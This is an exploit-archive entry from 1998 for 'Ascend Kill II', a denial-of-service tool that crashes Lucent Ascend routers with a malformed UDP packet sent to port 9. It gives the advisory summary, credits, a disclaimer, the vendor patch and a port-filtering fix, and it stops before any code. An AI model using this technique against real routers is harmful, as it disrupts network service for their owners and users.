Description: Lucent Ascend MAX 5.0/Pipeline 6.0/TNT 1.0/2.0 Router - MAX UDP Port 9 (1)
Type: remote
Platform: hardware
Date: 1998-03-16
Author: Rootshell

Exploit:
/*
source: https://www.securityfocus.com/bid/714/info

Certain versions of Ascends (Lucent) router software listen on port 9 (UDP Discard). Ascend provides configuration tools for MAX and Pipeline routers that locate locally installed routers by broadcasting a specially formatted packet to UDP port 9. An attacker can send a similar but malformed packet to the same port that will cause MAX and Pipeline routers running certain software versions to crash.

/* Update, 3/20/98: Ascend has released 5.0Ap46 which corrects this bug.

/*
 * Ascend Kill II - C version
 *
 * (C) 1998 Rootshell - http://www.rootshell.com/
 *
 * Released: 3/16/98
 *
 * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
 * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
 *
 * Sends a specially constructed UDP packet on the discard port (9)
 * which cause Ascend routers to reboot.  (Warning! Ascend routers will
 * process these if they are broadcast packets.)
 *
 * Compiled under RedHat 5.0 with glibc.
 *
 * NOTE: This program is NOT to be used for malicous purposes.  This is
 *       intenteded for educational purposes only.  By using this program
 *       you agree to use this for lawfull purposes ONLY.
 *
 * It is worth mentioning that Ascend has known about this bug for quite
 * some time.
 *
 * Fix:
 *
 * Filter inbound UDP on port 9.
